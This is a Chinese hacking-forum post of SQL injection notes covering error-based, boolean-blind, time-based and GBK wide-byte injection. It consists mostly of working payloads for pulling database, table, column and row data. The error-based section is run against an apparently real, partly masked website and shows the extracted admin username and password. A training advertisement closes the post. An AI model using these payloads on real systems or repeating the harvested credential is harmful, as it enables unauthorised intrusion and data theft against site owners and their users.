请选择 进入手机版 | 继续访问电脑版

女黑客安全网-零基础入门网络安全学习-渗透测试零基础入门学习

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 243|回复: 0

SQL注入笔记

[复制链接]

127

主题

142

帖子

1134

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1134
发表于 2019-8-2 09:45:35 | 显示全部楼层 |阅读模式
报错注入
一,获取库名
http://www.xrayr*.com/calculator/calculator-normal-studies.php?id=1' and extractvalue(1,CoNcat
(0x23,database(),0x23)) %23
Risk Calculator
XPATH syntax error: '#yourradi_dbmain#'
二,获取表名:
http://www.xrayr*.com/calculator/calculator-normal-studies.php?id=1' and extractvalue(1,CoNcat
(0x23,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x23)) %23
Risk Calculator XPATH syntax error: '#admins#'
三:获取列名
http://www.xrayri*.com/calculator/calculator-normal-studies.php?id=1' and extractvalue(1,CoNcat(0x23,(select column_name /*!22231FroM*//*!23423information_schema.columns*/where table_schema='yourradi_dbmain' and table_name='admins' limit 0,1),0x23)) %23
Risk Calculator XPATH syntax error: '#adm_name#'
Risk Calculator XPATH syntax error: '#adm_pw#'
Risk Calculator XPATH syntax error: '#tom#'
Risk Calculator XPATH syntax error: '#Rowxra33$$#'

extractvalue()

布尔型注入:
1,判断长度:判断数据库名字的长度,length(database()) >0  -... 确定长度为4;
2,确定数据库:一个一个取字符,与ascii比对  and ascii(substr(database(),1,1)) = 98  确定为:baji
3,确定表名:
        #表的数量, and (select count(table_name) from information_schema.tables where table_schema='baji') >0  确定2个表
        #表名的长度, and length((select table_name from information_schema.tables where table_schema='baji' limit 0,1))>) 得到表名的长度 4.
        #表名 and ascii(substr((select table_name from information_schema.tables where table_schema = 'baji' limit 0,1),1,1))>79
        确定为t
                @        and ascii(substr((select table_name from information_schema.tables where table_schema = 'baji' limit 0,1),2,1))>79
                确定字母e  确定表名为test
4,确定列名
        #        确定列的数量
                and (select count(column_name) from information_schema.columns where table_schema='baji' and table_name = 'users')>0
                确定列的数量就是8
        #        确定列的长度
                and length((select  column_name from information_schema.columns where table_schema='baji' and table_name = 'users' limit 0,1)) > 0 确定第一个列名的长度是2
        #        确定列的列名
                and ascii(substr((select column_name from information_schema.columns where table_schema='baji' and table_name = 'users' limit 0,1),1,1)) > 79 确定字符是i
                // username,password
5,导出数据
        #        and ascii(substr((select username from users limit 0,1),1,1))>79   确定字符a
        select hex(substr((select name from test limit 0,1),1,1))
E4BDA0E5A5BD
延时注入:
        确定数据库
        1,获取数据库的长度
                #        and if((length(database())>10),sleep(5),3)   确定长度是4
        2, 获取字符
                #         and if((ascii(substr(database(),1,1)))>79,sleep(5),3)  确定第一个字符b
                #         and if((ascii(substr(database(),2,1)))>79,sleep(5),3)  确定第二个字符a

        确定表名:
        1,获取表的数量
        2,获取第一个表名的长度
        3,获取第一个表名的第一个字符

        确定列名:
        1,获取列名单数量
        2,获取第一个列名的长度
        3,获取第一个列名的字符

        获取数据
                #        and if(ascii(substr((select username from users limit 0,1),1,1))>79,sleep(5),1)

宽字节注入: 非常简单的字符型的联合查询注入  addslashes() 转义 引号
gbk编码:     ' ----------------------->    \'
             %27----------------------->   \%5c%27
             %df'----------------------->  %df%5c%27
前提:
        1,一定是字符型注入
        2,页面使用gbk编码 (如果只是这里使用utf-8,依然可以注入)
        3,数据库查询使用gbk编码
        4,使用addslashes函数。
必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:18622800700,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网-零基础入门网络安全学习-渗透测试零基础入门学习 ( 津ICP备17008032号-3 )版权所有:一极(天津)安全技术服务有限公司

GMT+8, 2019-8-19 09:16 , Processed in 0.019146 second(s), 20 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表